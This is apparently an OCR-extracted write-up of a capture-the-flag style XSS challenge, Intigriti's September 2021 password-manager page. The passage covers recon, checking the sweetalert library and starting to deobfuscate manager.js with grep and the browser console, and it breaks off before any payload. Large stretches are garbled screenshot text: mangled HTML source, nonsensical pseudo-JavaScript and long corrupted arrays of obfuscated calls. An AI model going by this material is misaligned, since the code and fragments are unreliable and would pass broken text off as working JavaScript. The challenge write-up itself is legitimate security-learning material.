Intigriti September 2021 Challenge: XSS Challenge 0921 by
BugEmir & Pepijn van der Stap

In September ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new Cross
Site Scripting challenge. The challenge itself was created by 2 of the community members.

INTIGRITI
© It's CHALLENGE O'CLOCK!

@& Find the XSS before Sunday September 12th, 23:59 CET
@& Win €300 in SWAG prizes

& We'll release a tip for every 100 likes on this tweet!
Thanks and Pepijn for the challenge! q\

Intigriti's September XSS challenge
By @BugEmir and Pepijn van der Stap

Challenge 0921

Find the XSS vulnerability
& WIN Intigriti swag vouchers

TRY & WIN!

Test your payloads down below!

Let's pop that alert

Password Manager 101

September XSS Challenge - Intigriti

Rules of the challenge

* Should work on the latest version of Firefox AND Chrome.

* Should execute alert(document.domain).

* Should leverage a cross site scripting vulnerability on this domain.
* Shouldn't be self-XSS or related to MiTM attacks.


https://www.intigriti.com/

Challenge

To be simple a victim needs to visit our crafted web url of the challenge page and arbitrary
javascript should be executed at that challenge page to launch a Cross Site Scripting (XSS) attack
against our victim. In this challenge it was accepted that the victim still needs to perform a mouse
click on a button.

The XSS (Cross Site Scripting) attack

Recon

As always it starts with recon and trying to understand what the web application is doing. A good
start for example is using the web application, reading the challenge page source code and looking
for possible input possibilities.

The challenge page itself shows the possibility to save our passwords:

Intigriti's September XSS challenge
By @BugEmir and Pepijn van der Stap

C @& challenge-0921.intigriti.io

Find a way to execute arbitrary javascript on this page and win Intigriti swag.
Rules:

« This challenge runs from 6 September until 12 September, 1:59 PM CET.

« Outof all correct submissions, we will draw six winners on Monday, 13th:
o Three randomly drawn correct submissions
o Three best write-ups

« Every winner gets a €50 swag voucher for our swag shop

« The winners will be announced on our Twitter profile.

« For every 100 likes, we'll add a tip to announcement tweet.

« Join our Discord to discuss the challenge!

The solution...

« should work on the latest version of Chrome and FireFox.

« Should execute alert (docunent .domain).

« should leverage a cross site scripting vulnerability on this domain,
« shouldn't be self-XSS o related to MiTM attacks.

+ Should be reported at go.intigriti.com/submit-solution.

Test your payloads down below!

Let's pop that alert!

Password Manager 101

Enter Password to be saved



A logical next step is to try the application and save a password:
e Should work on the latest version of Chrome and FireFox.
+ Should execute alert(document.domain}.
e Should leverage a cross site scripting vulnerability on this domain.
¢ Shouldn't be self-XSS or related to MiTM attacks.
« Should be reported at go.intigriti.com/submit-solution.

Test your payloads down below!

Let's pop that alert!

Password Manager 101

MySecrectPassword Add

This immediately leads us to a first hint. We need to find a URL parameter to add our passwords:

¢ Should execute alert(document.domain).

» Should leverage a cross site scripting vulnerability on this domain.
e Shouldn't be self-XSS or related to MiTM attacks.

 Should be reported at go.intigriti.com/submit-solution.

Test your payloads down below!

Let's pop that alert!

Uh, oh!

| need a parameter.. maybe look at the sourcecode?




Time to inspect the source code and see what is behind this password application. The home page
code does not show any interesting javascript code. The most important we can notice is an iframe
embedding the password application.

'challenge-0921.in

“ine wrap ()

2| <htnl lang="en"><head><meta http-equiv="Content-Type content="text/html; charset=UTF-8">
<title>Intigriti September Challenge</title>

<meta nar

wittericard” content="summary_large_image">

ge" content="https://challenge-0921.intigriti.io/share.jpg">
url" content="https://challenge-0921.intigriti.io">

type” content="website">

title" content="August XSS Challenge - Intigriti'>

<meta property="og:description” content="Find the XSS and WIN Intigriti swag.'>
<meta property="og:image" content="https://challenge-0921.intigriti.io/share.jpg">

<link href="https:// L rel="stylesheet">
<link href="style.css" rel="stylesheet">
18| </head>

19 <body>
| <section id="wrapper">
<section id="rules">
= <div id="challenge-container" class="card-container">
2 <div class="card-header">
2 <img class="card-avatar’ src="creator.ipg’ alt="creator'>
Intigriti's September XSS challenge
<br>

By <a target="_blank" href="https://twitter.com/BugEmir">eBugBnir</a> and <a target="_blank” href="https://w.linkedin.com/in/pepijn-v-3637a2175">Pepijn van der Stap</a>
</div>
<div id="challenge-info" class="card-content’>
<p>Find a way to execute arbitrary javascript on this page and win Intigriti swag.</p>
<b>Rules:</b>
<ul>
<1i>This challenge runs from 6 September until 12 September, 11:59 PM CET.</Li>
<>
Out of all correct submissions, we will draw <b>six</b> winners on Monday, 13th
<ul>

<li>Three randomly drawn correct submissions</li>
<li>Three best write-ups</li>
</ul>

</15>

<li>Every winner gets a €50 swag voucher for our <a href="https://swag.intigriti.con/® target="_blank'>swag shop</a></1i>

<li>The winners will be announced on our <a href="https://twitter.con/intigriti’ target="_blank">Twitter profile</a>.</1i>
-intigriti.con/challenge-tips" target="_blank">announcement tweet</a>.</1i>

<li>Join our <a href="https://go.intigrit " target="_blank to discuss the challengel</li>

<b>The solution...</b>
ul>

<li>Should work on the latest version of Chrome <b>and</b> FireFox.</li>
<li>Should execute <code>alert(document.domain)</code>.</1i>
<li>Should leverage a cross site scripting vulnerability on this domain.</1i>
<li>Shouldn't be sSelf-XSS or related to MiTH attacks.</li>
<1i>Should be reported at <a href='https:// 7 >g0.i ti.
</u1>
<b>Test your payloads down below!</b>
<pLet’s pop that alerti</p>
</div>

<>

f<div class="card-containe:
<iframe sro="challenge/manager.html® width="100%" height="600px"></iframe>
{</div>

This leads to the following URL: https://challenge-0921.intigriti.io/challenge/manager.html
And reveals the code behind the password application.

C @ challenge-0921.intigriti.io/chall

Password Manager 101

Enter Password to be saved

The most interesting part to perform our XSS attack are the javascript files:

ps://challenge-0921.intigriti.io/challer

Line wrap (]
1
2| <html lang="en">
3| <head>

4 <meta charset="UTF-8">

5 <title>Intigriti's Password Manager</title>

6 <link rel="stylesheet"” href="style.css">

7 <link href="https://maxcdn.bootstrapcdn.com/font 4.6.3/css/font-awesome.min.css" rel="stylesheet">
8| </head>

9| <body>

10

11 <div class="container">

12 <center>

13 <br />

14 <div class="control">

15 <div class="container">

16 <div id="new-password">

17 <h3>Password Manager 101</h3>
18 <input type="text" placeholder="Enter Password to be saved">
19 <button id="add">Add</button>
20 </div>

21 <div id="passwords"></div>

22 </div>
2 </div>
2 </center>
25 </div>

2
2 Esmpt async sro="manager.

<script src="sweetalert.

"></script>
s"></script>

30| </html>
31


https://challenge-0921.intigriti.io/challenge/manager.html

Time to dig a bit deeper in our recon phase and inspect both javascript files.

The “manager.js” file is really overwhelming at the beginning. 1453 lines of obfuscated javascript
code ;-). Here a few screenshots showing parts of the code (I will host the full javascript file in my
Github repository):
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921.intigriti

i (o se 2oz, B1)) ¢
$1 Ltolomsas, 0x4é0) 1= foroxest, oxtad) ¢
) otne ¢
hrow a(£(~0xc39 + ~0x1bds + ~0xk + ~0x2867));

)

) otee ¢
1% Lsoqextso, oxess) = forossec, 0xes2)) ¢
oturn 4

s v, b)) ¢
(£0(0x672, Susse) = €o(0x654, Oxsom)) {

) otse ¢

L2 (c0(0x830, oxtcd) en f0(0xsd2, 0x599)) (

) otee (

it (tsore) |1 aste)) ¢

12 (Folaxsan, oxaes) —-= fo(ex1s1, Oxseb)) ¢

e
7 DIR(Ex61d + ~0x1bdb + GXIGIbII(F, G, W) ¢ ILI(-DXL + -0xac7 + Oxes + 0xzasd + OxL1}(K, L), N(NIOIOKIEZS + OxloZs + <0x1 + Ox1 + ~bxaf));

) caten (50) 0

w10
y

b

i paan ¢
i o, oxsss)) ¢

for (viuonb Au11); bu = Buly{0x135 + ~0xLE + 0x130b + ~0xe + 04151 (5) (
J/ (b |1 (ulN[0x2201 + Oxa3 + ~0xée + Ox6d]) instanceof O 5 P(5u(Q(0x] + ~0RISTS + Oxbl + -0x12 + ~Gxed + -0x2811), R(BS)):

xal 0

»
B(T(0x609 + Ok + 01157 + 0xBb7 * 021, 3, mAl);
100 ¢

ye

oxsah) ¢
067+ 0x3E6 4 ~0x1 + ~0xtie3), OIR(Oxe66 + ~0xZiad + ~Ox3ch + ~0x21))3

02 + fxcdb + L0x06511, A = B(C, (1), D(EI-x2MS + x20c + Oxb + 0XIII, F), G(H, 1), I(K, 1) > W 66 N(O|-Oxlath + Ox] + 0xdas + Ox252c)(PI-0X2622 +

519510845 * 0x62 + 0x3 + Dxse + OKLLEIN)) (
7) mes 0(0i53, OxieT)) |

) otse ¢
L& (coroxesa, oxsan) 1e coroused, oxeaa)) {
T b aloxated + 0x833 + 0x1 + -0xasabIN))
) ethe ¢
RO
roturn 101
)
3
) etse ¢
52 (Loxs155(-0xec + -0x448 ¢ Oxt + 032074) 1r= bl €6 GSI95(0x353 * ~0x3 ¢ -0x911 ¢ Ox135) 1ew B 46 _OGS195(-0x1 * -OCII6E ¢ ~OXISAb 4 0x278) Lwe b || ORSISS(0x6d + ~Oxb ¢ -Oxda 4 Oxl ¢ DSS36] wm b || 05 ¢ Oxdcf + Oxlac ¢ ~0x15 ¢ Dx3bT fem J(bm, OXSIISOKIZNS ¢ Oxl ¢ Dxb2f + 0xla1 ¢ -0xiT)) ||

freTe
i6 (fo(exs1z, Oxtb) 1o fo(Ex4dS, Ox41S)) (
e ek e 551-0x1 + 0x1606 + 0x1166 + <0t + axbeII))

1ibe, 1551
it (oarsd, ox7in) 1o to(ousic, oo |
Bl

) etee ¢
) otte ¢
i¢ (f0(0x463, oxdat) 1o 0(0x618, Ox5ea)) {

)

2 (cooxses, ouism) wee to(0xaat, oxirm)

)

) otse ¢
52 (n-0x0 + oxbba + 0xé + 0xb + 02076 1= typoot nfoloxedd + -bx1 +
Chrow wix(bxa21 = ~0xl + Oxdos + Dxided1)y

“ox1233 + oxtest + 0x11) €

Allright a pretty large unreadable file. Let’s skip it for now and also take a look at the other
javascript file “sweetalert.min.js”. Also a bit hard to read but the developer tools can help here by

pretty printing the code.

allenge-0921.intigriti.

Password Manager 101

Enter Password to be saved Add

n (1]

Page
O top
v & challenge-0921.intigriti.io
challenge
managerhtml
B managerjs
B sweetalert.min js
style.css

© maxcdn.bootstrapcdn.com

»f module?module. exports=e():" function

define&&define.amd?define([],e):

Pause on caught exceptions
Watch
v Breakpoints

v Scope

v Call Stack
» XHR/fetch Breakpoints
» DOM Breakpoints
Global Listeners
» Event Listener Breakpoints

» CSP Violation Breakpoints




Sources
Page File:
O top
& challenge-0921.intigriti.io
challenge
manager.html
B managerjs

Password Manager 101
Enter Password to be saved

Appl n S y Light

talert.min.js anagerjs  sweetalert.min js:formatted
inputvalu

replacener

link: "

}
inputPlaceholde

o
Pause on caught exceptions
> Watch

v Breakpoints

B sweetalert.min.js
style.css

¢ maxcdn.bootstrapcdn.com v Call Stack

N
XHR/fetch Breakpoints
» DOM Breakpoints

£ nClickOuts » Global Listeners
onlyRenam
link: " Lickout » Event Listener Breakpoints

CSP Violation Breakpoints

Console

The “sweetalert.min.js” javascript file seems a normal library and the file can be downloaded from
the official website: https://sweetalert.js.org/

A quick check via Google shows no exploits that can be used against this library to solve our
challenge and also comparing the javascript file used by the challenge and the one downloaded

from the official website shows they are identical and nothing is changed or tampered with.

@ EXPLORER Js intigrit

\~ OPEN EDITORS ers > joren > Downloads

intigriti-sweetalert.min.js.txt.js  official-sweetalert.min.js

Js intigriti-sweetalert.min.js.txt.js © official-sweetalert.min.js X

35 intigriti-sweetalert.min.js.txt.j...
o el ata e t orts “ob typeof module ? module “ob eof ex 0 typeof module ? module
X Js intigriti-sweetalert.min.js.xt, : ‘ ! ‘f()“ft) 7
 NO FOLDER OPENED ct e(o) { on e(o) {
if (nlo]) return nlol.exports; if (nlol) return n[ol.exports;

You have not yet opened a folder. r=nlo] = { : =nlo] = {

o, o,
Open Folder 1 o
. exports: {} exports: {}
You can clone a repository locally.

Clone Repository urn tlo].call(r.exports, r, r.exports, e), r.l = !0, } rn tlol.call(r.exports, r, r.exports, e), r.l = !0,
» v i var n = {};
To learn more about how to use git
i r . . ur on(t, n, o) { return e.m = t, e. n, e.d = function(t, n, o) {
and source control in VS Code = 5
e.o(t, n) || .defineProperty(t, n, { e.o(t, n) || Object.defineProperty(t, n, {
configurable: ! configurable: !1,

enumerable: ! enumerable: !0,

ion(t) {
t.__esModule ? func o n() {
n t.default

urn e.d(n, return e.d(n, "a", n), n
function(t, e) { }, e.o = function(t, e) {
return Object.prototype.hasOwnProperty.call(t, e) return Object.prototype.hasOwnProperty.call(t, e)
, e(e.s = 8) }, e.p="", e(e.s = 8)
}([fur 1(t, e, n) {

t.defineProperty(e, "_

.defineProperty(e, "_
value: !0 value: !0

1-button";

L MODAL :
5 OVERLA
> OUTLINE

QHOW ManAL i 1o
@ Restricted Mode  ® 0 /A 0

7=
Ln1,Col1 Spaces: UTF-8 LF JavaScript & 0



https://sweetalert.js.org/

Phase 1: Finding the URL parameter

What do we know after our initial recon:
*  We need to find a URL parameter to use the application.
*  “manager.js” is what we are up against: a large and heavily obfuscated javascript file.
* “sweetalert.min.js” javascript file is the official one and not tampered with so nothing
interesting here as I could not find any publicly known exploits.

The first hurdle to take is de-obfuscating the “manager.js” javascript code so it becomes a bit more
readable or at least reveal some parts of the code.

I downloaded the javascript file locally to make it easier to work with.

Password Manager 101
Enter Password to be saved

Sources tion
] er.htmi \js  managerjs ctale BI | n ZN ]
X163 * 0x1 + 0x2631 + -0xd * OX! ction() {
[_0x5195[-0x8eb + @x1b0 + 0xa01]] [_0x5195[-0x1d3c + 0x20da * —Ox1 + 0x40db]](_0x5195[-0x1333 + 0x18a4 + —0x5
v challenge-0921.intigriti.io ; » Watch
challenge 0 ent [_Ox5195 [-0x115a + -@x1 * —0x19e5 + —0x80a]] (_0x5195[-0x2 * -@xcab + @xb9 * Ox2e + -0x37el]) [_0x5195[-0x12el + -0: v Breakpoints
manager.html

IR anager

Pause on caught exceptions

j = {};
qlg3(0x79, 0x1f2)] = _0x5195[-0x2358 + -0x16b5 + Ox3ccll;
v Scope

B swestalert Sosninnew;teb qlg3(0xb7, 0x203)] = _0x5195[-0x186d + —0xd95 + @xC5 * Ox35];
qlg3(-0x101, —0x29b)] = _0x5195[0x25 * —0x32 + 0x569 * —0x1 + 0xf59];
style.css | Copy link address qlg3(-0x125, 0x56)] = _0x5195[-0x1651 + 0x2330 + -0xa28];

& maxcdnboots|  copy file name swal(q); v Call Stack

Save as...
» XHR/fetch Breakpoints

» DOM Breakpoints
Global Listeners

» Event Listener Breakpoints

» CSP Violation Breakpoints




The ideas to de-obfuscate the code at this moment are following:

1) Is it a well known encoding that is used and can we completely revert it back to readable text?
2) If not can I find any readable parts?

3) Are there any patterns repeated in the code? With repeated patterns we can maybe figure out
more easily what they are doing.

1) A well known encoding?

The well known encoding is true for a part of the code. Some parts can be reverted back to readable
via HEX decode. But this does not really bring us any further:

(function(c, d) {
function fm(c, d) {
return b(c - @x2f3, d);
I
var e = c();
while (!![1) {
try {
var f = parseInt(fm(@x4cf, 0x652)) /|(-0x112c + 0x2056 + -0xf29)|* (-parseInt(fm(0x482, Ox5ee)) / (-0xla7b + —-@x7c7 * Ox3 + —-0x38f * -0
if (f === d) {
break;
} else {
el'push'l(el'shift'1());
}
} catch (g) {
e['push'](e['shift'1());
}
1
}(a, 0x9alc7 + 0xa2l * —0x4 + -0x1 * —0xad81));

n b(c, d) {
e =al);
function(f, g) {
f - (0x242 + -0x1feb * —-0x1 + -0x2163);
var h = elfl];
if (b['HZYYok'] === undefined) {
i = function(m) {
ar 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";

ar q = -0xfcd * —0x1 + -0x1 * Ox1la51 + @x2al % 0x4, r, s, t = —-0x35 * —-0xe + -0x43 * -0x3b + -0x1257; s = m['charAt'](t++)
n['index0f'1(s);

A Google search shows this can be converted from HEX encoding:

Q Alle © Maps (1] Afbeeldingen [ Video's ¢ Shopping : Meer

Ongeveer 8.960 resultaten (0,46 seconden)

Tip: Alleen in het Nederlands zoeken. Je kunt je zoektaal instellen in de Voorkeuren

https://www.hexadecimaldictionary.com » ... ~ Vertaal deze pagina

Hexadecimal 0x112c = 4396

0x112c converts to 4396. Convert hexadecimal to decimal, binary, octal.




0x2056 to decimal

Q Alle [ Afbeeldingen [»] Video's © Maps (@ Shopping : Meer

Ongeveer 7.560 resultaten (0,40 seconden)

@

Meer informatie

So this combines to following: (-0x112c + 0x2056 + -0xf29) => (-4396 +8278 -3881) => result:1
Of course there is a faster way to check this via the developer tools:

-0x112c + 0x2056 + -0xf29

Interesting but still not good enough to find the parameter in the source code.



2) Any readable parts?

Yes some really small parts are readable but also this does not really help us or gets us a parameter

name:

} else {
if (aN & L(/\/>/i, bm)) [{

if (fP(0x36, —0x7d) ! fP(0x80, -0x9c)) {
b8(bu, bk);

} else {
if (v[@x23la * —@x1 + -0x2c * -0x46 + 0x1764] === w(x[y[-Oxdea + 0x96f + Ox1 * -0x3cell) || z[-0x2429 * -@x1 + -Oxbcb + -0x183f]

if (0[-0x25d6 * -0x1 + —-@xde5 * -0x1 + -0x33ad] =
return Z[a@[0x6d0 + -0x1 x -0x2657 + -0x2c701](al);

};
if (T(V) {
return a2[a3[0xe78 + —0x4 * Ox1fc + -0x5d1]](a4[a5[-0x1b64 + —0x6 * —-0x222 + Oxlac * 0x9]1);

I
return N;
b
} else {
if (fP(@xcd, 0x254) ! fP(0x198, 0x329)) {
il ((IL( |m. bk[_0x5195[-0xac * 0x28 + -0x19 *x Ox4b + 0x22c0]]) && L(M(_0x5195[-0x12b3 * -0x1 + 0x2439 * -0x1 + 0x122e] + C(
TT(TP(UXZTC, 0x1fb) fP(0x8d, -0x4b)) {
var bE = k(1);
bE !==m && (n(o) || (plg]l = bE), r = bE);
} else {
b8(bu, bk);
}
} else {
if (fP(ox78, @x6f) !== fP(@xd6, 0x225)) {
a0 && (bm = I(bm, ax, _0x5195[-0x46 * -0x1c + 0x1170 + 0x80 * -0x31]1), bm = I(bm, ay, _0x5195[0xc80 + 0x21la + 0x1681 * -4
bw = bk[_0x5195[0x22f3 + -0x1e64 + -0x406]11[_0x5195[-0x1 * Ox6fb + -0x3 * Ox4dd + -0x3 * -0x76all();

}.
var a9 = null;
a8[_0x5195[0x79 * 0x29 + -0x152 + Oxf71 x -0x1]] &% a8[_0x5195[-0x194e * -0x1 + Oxlel + -0x1891]11[_0x5195[-0x59 * —0x59 + Ox1 % -0
var aa = _0x5195[-0x2c9 + Ox5 *x -0x7c6 + 0x2c49] + (a9 ? _0x5195[-0x1 * Ox1bbf + -0xb x -0x2e6 + -0x180] + a9 : _0x5195[-0x1412 +
try {
return a7[_0x5195[-0x322 + -0xlccd + 0x228cl]l(aa, {
‘createHTV fu n(ab) {
return ab;

i
} catch (ab) {
return console|_0x5195[-0x51 * @x5c + @Ox1 * 0x23c9 + 0x407 * —-0x1]1](_0x5195[0x12c1l + Ox1 * -0x1bb8 + -0x1 * -0xb9b]l + aa + _0x5|




3) Are there any patterns repeated in the code?

And this one is probably not easy to see the first minutes inspecting the code but yes some patterns
seem to return a lot.

Here a screenshot of only a part of the code revealing the repeating pattern. This pattern can be
found over the entire code:

0x5195[0x57 * Oxb + -0x3d * 0x6d + 0x18e9];
[_0x5195[-0x7d * @0x17 + -0x10a5 * —-0x2 + 0x160e * -0x11];
0 = -0x14cd + 0x1e56 + -0x989; o < k; o++) {
1[_0x5195[-0x240 + -0x106a * -0x2 + 0x13 * -0x191]] (m[_0x5195[-0x1d5 * -0xd + -0x5d0 + 0x51b * -0x31](Math[_0x5195[-0x4df * -0x6 + -0xe
}
return 1[_0x5195[0x481 x Ox1 + 0x1b99 + -0x1f4b]](_0x5195[-0x1f54 + 0x122f * -0x2 + 0x97 * 0x73]);
}
document [_0x5195 [-0x12b3 * -0x1 + Ox4 x Oxle3 + -0x19bell(_0x5195[-0x21e5 + 0x2 * -0x3cb + -0x107 *x -0x2b]) [_0x5195[0x29 * 0x61 + 0x1fl6 + -0X2]
function g3(c, d) {
return fp(d, ¢ - -0x13);
}
if (document[_0x5195[-0x14df * -0x1 + Ox3a * Ox7f + —-0x3124]11(_0x5195[0x1 * 0x1f91 + 0x27d * —-0x9 + Ox679 * -0x1]) [_0x5195[0x3 * 0x7d4 + -0
VanRke=R~{l%>
k[g3(0x79, 0x82)] = _@x5195[0x165e + —-0x203 + 0x1la7 * -0x1];
k[g3(@xb7, 0x198)] = _@x5195[-0x1 * @Oxaf + —-0x5 * —0x4a3 + 0x1 *x -0x13ch]l;
k[g3(-0x101, -0x97)] = _0x5195[0x83 * 0x22 + -0x1df2 + —-0x9 * —-0x1b2];
k[g3(-0x125, 0x73)] = _0x5195[-0x41 % Ox2f + @x4fa + @x9acl;
swal(k);
} else {
if (window[_0x5195[0x3 * @xacf + -0x3 * 0x2b3 + -0x15a9]] [_0x5195[0x24f8 + 0x126f + 0xa9 * —-0x53]] [_0x5195[-0xb * -0x38c + -0x1815 + O:
var 1 = i(_0x5195[-0x1fb * -0x11 + 0x14 x Oxbl + -0x2cc4]) [_Ox5195[0x5 * 0x673 + 0x48e + -0x2213]](_0x5195[0x1 * -0xc73 + -0x691 +
168 e (L) LRI
var m = atob(1);
} else {
var m = _0x5195[0x3 x -0x851 + 0x1302 + 0x8ad];
console[_0x5195[-0x3 * 0xb3 + 0x96e + —0x74c]](_0x5195[-0x393 + -0x1lab + 0x17fb]);

The repeating part seems to be constructed like this: _0x5195[HEX code]
Next question now is can we make this more readable? The HEX code part for sure yes but the

_0x5195[ ] is something that seems specially crafted for this application. At this moment I just copy
one of those in the developer console of the application page and see what the outcome is:

Password Manager 101

Enter Password to be saved

& 4l El Console  Sources work Merr lication  Security

Bl © | topv Filter No Issues

> _0x5195[0x165e + -0x203 + 0x1la7 * -0x1]
< "Uh, oh!"

Yes that is definitely readable :-)



At this point my idea was simple: extract all the “_0x5195[HEX code]” combinations from our
javascript file downloaded earlier. As an ICT system engineer maintaining some servers for several
years my preferred way of doing this is via Linux commands

Of course the next steps could also be done with other programming languages. A Linux virtual

machine can be installed on any PC with VirtualBox for example or use the Linux subsystem for
Windows (WSL)

First step “grep” all the lines containing the

joren@Jorens-MacBook-Pro Downloads
joren@Jorens-Mac

“_0x5195[“ part: grep '_0x5195' manager.js >> out.txt
grep ' .

_0x5195"' manager.js
Book-Pro Downloads

B out.txt
var _0x5195 = [fn(-0xibl, —0x112), fn(-0x23d, —0x2cd), fn(-0xdd, —0x51), n(0xcs, —0xc7), fn(-0x355, -0x261), fn(-0x2f7, -0x239), 'id', fn(-0x7, . Tn(0xf2, —ox3e), fn(-0x19F, ~0x1f9), fn(0xa0, —x163), fn(-0X37F, —0x236),
fn(-0x168, -0x1lc), fn(-0x70, -oxil), fn(-8x22, 0x94), fn(-0x239, —0x17), fn(-0xGb, —xl8e), fn(-0x109, -0xbE), fn(-0x3de, 023, fnlexdo, ~paa3fl, in(Bost, ~wes), inlexta, oaa), inCaxse, B2w), inl-exiea -02bh), n(-dcas, -oxisd), n(-0xss,
0xd6), Tn(-8x53, 0x48), fn(-0xd9, -0x1d6), fn(-0xe, -0x170), fn(-x12e, ~0x6), n(-0x106, —0x209), fn(-0x175, ~BxIb), ' X137, -0x35), n(0x23, fricexh, ~bxize), fn(-0x350,"-x210), fn(-txea, Bx37), Tn(ox6e, ~0xdd), (029, ~oxtc), w72,
oxehS, Tn(0x11d, Ox3d], n(_oxae, “6xiB), fai-oxd07, —oxa68), Tniaxies, 013, TH(OKIL, ~0x26d), fn(-03eB, ~2atl, fA(DXATL, OXS5) . Th(-0X270. -0xIoh) ) nl-owal, X270, MLy mn’, mo', ingss Ta(OKIE, LOKIADs In(-0n2t3; ONISb). fn(<ixiad, onic
fn(oxe, 0x12), fn(-0x337, -0x1b7), fn(ex17f, x1d), fn(exc3, —dxde), fn(-0x15a, -0x15a), fn(-0x12a, 0x34), fn(oxbd, —dxce), fn(-0x286, -0x113), fn(-0x160, -0x273), n(-0x138, -0x230), fn(-0x3cf, -0x2a7), fn(0x3c, —0x139), fn(-exisc, -oxldb), fn(-0x22a, -0xi67),
in(-0x302, Ta), a(Eec, 0x@d), (97, -wxd3), in(-di2dc, “bxisc), in(ox7c, -0xb8), tnl-oxid7, e23), (o4, oxde), inloga, D6 fnz@xéh, dch), n(021, ox10h), inCoxed, exic3), fr(dxids, -0x36), Ml-xiss, -oxical, inCoxes;
fn(-8x226, 0xc5), fn(-8x3d6, -0x2c8), fn(-8x374, -0x208), fn(-0x303, —0x2d0), fn(-0x155, “0x4f), fn(6xbB, Ox6), fn(6x3, 0x10), fn(-8x12b, -0x28c), fn(8x19, ~0xila), fn(-0x1b, -Oxba), fn(-Bxla, -0x96), fn(-0x1d2, ), n(-0xila, ~exic2), fn(-Oxldc, —
fn(0x08, “axef), fn(-0xfs, -0xles), fn(-0x6a, -0x117), fn{-exzad, -0x133), fnloxef, -x9f), fn(-bxce, “oxbe), InCoxca; wxi6); in(-0x203, ~xlaa), in(-0x@7, 0xea),’n-axs, 1), Tn(-Ox8d, 6xse), tni-exss, kb2, th(ovaty 0x20T). Ih(Loxs, ~bx1p3),
260), ' fn(-0x120, ~0xle), n(-0x10! 2td, ~oaat), i-ocls, exisd), tnizeaar, , fn(-6xf5, -0x206), n(-6x69, -0xad), fniexass) “wxad), nCoxid, ~exch), fn(-ea13; “east), fo(o
4 xe7, —oxcl), fn(0x5d, ~0x100), fn(-0x65, 0xb), ox6F in(coxtis, ~0x213), fn(-6x313, —axi7C), fn(-0xb3, ~0x1bb), n(-0%206, “ox27f
fn(-0x1al, —0x118), fn(-0x154, -8xa7), fn(-0x15¢, 0x27), fn(-ox2b 1b4), Joan), 2!, inCoxide, o), T (oxia0, 0x46), fn(-0xf:
n(-ode, -uxzm, fn-w21f, o), in(exidl, Oxkc), inlods, ‘oxds), e, -Sxide), inl-bxiss, R inl-oiec, -o@d), in(-oxr1, -orifo), n(-0 n(0x87, Ox5f), '|', fn(Oxee,
fn(-0x93, -0x147), fn(-0x153, ~0xieb), fn(@xbS, -ox6d), fn(-dx2ch, -0x220), fn(-0x5d, ~ox1bc), fn(-0 Coxsts " —ana), fn(oox1s, 071}, Tolanot, ~ond3), fni-ax3es: ‘ovies): 0 n
Tnicoxlde, <0x33; Tnioa3t, 04220, Tn(0xan, Bxae); Tni-dxa10, ~ax1B0),  fni-oxdd, x1i); fai-bx 292), fn(bxa, 0xa1), Tn(_ox20h, “x18%), Tn(onbS, SoxLTh). fn(-0x4, OX6)) lOXBT, Oxe)s fhlons, ~oxad), Inlox2ds, Soasé), fnlexde, 0:23), n(exb, x7),
n(-0x6, ~0x177), cb, ~0x16), fn(-0x1f6, —0xaa), fn(-0x2a7, -0x1d5), fn(-0xi%, -0x287), fn(-oxb7, -Oxfa), fn Soxsca, -easc), n(-Gxida, ~0x19d), (0o, toxd7e), in(-ocdel, -Bda), ‘2 folbxlal, 663, in(-ald, o), (02, -x270),
fn(-0x1df, —ox178), L 0n0a3 , Taioox13n, Son12e) by In(Oxar, S0XB0) fn(-0X320s LX360Ns flox3Eh, bxEnD, nlbxtes coxT3) Zoxtde), br!, fn(-0x3L, ~ox16a), fh(6x112, “0xB1, fn(-oxach, -ox174), fn(-ex251, ~ex1s1), fni-oxisd, ox1é3),
fn(-0xdc, -0x70), fn(-0x2cf, —0x14b), n(-0x309, -uxzaz), f ocrc, “bata), *.m , fn(-oxds, -0xb7), fn(-6x95, -0xd3), fn(-oxc, -ex1as), I Cona, oxt13) tn( oxbd, owide): U, n(Cedas, “exte), e, fn(-gdae, -0x2d), fn(-0x6, -0x114), fn(-0xf5,
el e oS Geiana) RA ez e i fniondis, oxide), in(-0x260, Soxtef), hr', in(-fe, -wxsc), M(-bellz, ~oxte), nCodSe; “exicr), (e, ~ws), fa(-ex3ic, —0x2b3), fn(-x2a2, -0x24e), fn(-ex33f,
3 -0x164, fn(-0x7a, -ex188), Iax1STs Bx78), nioax1ds, [ax102), TAOKB, OGRl Fa(owaTy Ouic) s 1otrs fm(OX1BNs SaxE): Tol aSzs, Baar], Paliater Bxan)s prs Fel bs0t, cax1of); ol xsf, —~ox7f), fn(-0x28b, -0x297), ‘q’,
's', fn(-0x1ed, —ox25c), fnCoatt, o), nCoxcd, oxisd), fn(-oxm, oxaay, T( oepser ovieb), fh( Dxoes 0xSE), fm(and cbxloe)s Tl Ouidns LBTS), Fallaxts, OIS}, Taloowiad o216, il bxaTe, ou2S0)
‘th', fn(-0x7a, -@x161), 'tr', fn(-b baze), ety ot Lo, tn(Chas3, baor), fnibxcs, ~exar), mi-exbe, -oxaf, fniexiza, -exze), tn-wxids, “eazi), fa(exzi, ~exsl), fn(exs1, o2, i sxats, o247
oX130), T oxTL, <0x37), Th{OXAC3, ox3b), 1g's tnloxch, Dude), fh(oxso, axsh)s Tnl 0xI0h, ~oxr2) Inlbxan, “OxaT), fnibxal, 6x343, fai X101, —o33) [osacd, -oxi2n), ini-oxda0, 033), in(-ed, bx73), fn(-oxud, bx206),
ox6c), Fn(0x104, 0x60), fn(-0xB2, -0x106), Fn(6x19, J59), Thi-oxiez, ~0c183), inl-oxiof, exea), ‘n(dxte, x16), fh(dxba, 0x72), fn{oxist, ax3d), fn-exiec, -8x1 ), inl-ocib, -aidee), fnloxed, ord 5, fn(-oxz6a, -0x218), fn —oxif6), fn(-0x217,
~0a7h), fn(-oxdes, oxrd), inChare, aash), in-ae7, bas), in(-bud, -ocdab), in(Cox1dd, oxde), n(5ad, -ata), fn(-0x2é, 0a4), in(-ase, oxdr), (078, bre7), pate, ~oxibi), fn(-BxZAS, To2a), Infexdad, oxad), Coxiez,
b)) fni-0x3sD, ~0x342), T(OxT <bx14C), T(0x200, ~0x124), Tn(DcI, 0100, ol 0255, -0cids), M(-oxad) S6x207). In(-0xisz, -oci3h), (@l -axids) O Cbxebe akat), Tl owIncs Sox3ba)s Tl oxad, —ox2dc, —ox23¢), x3c), fn(-oxt
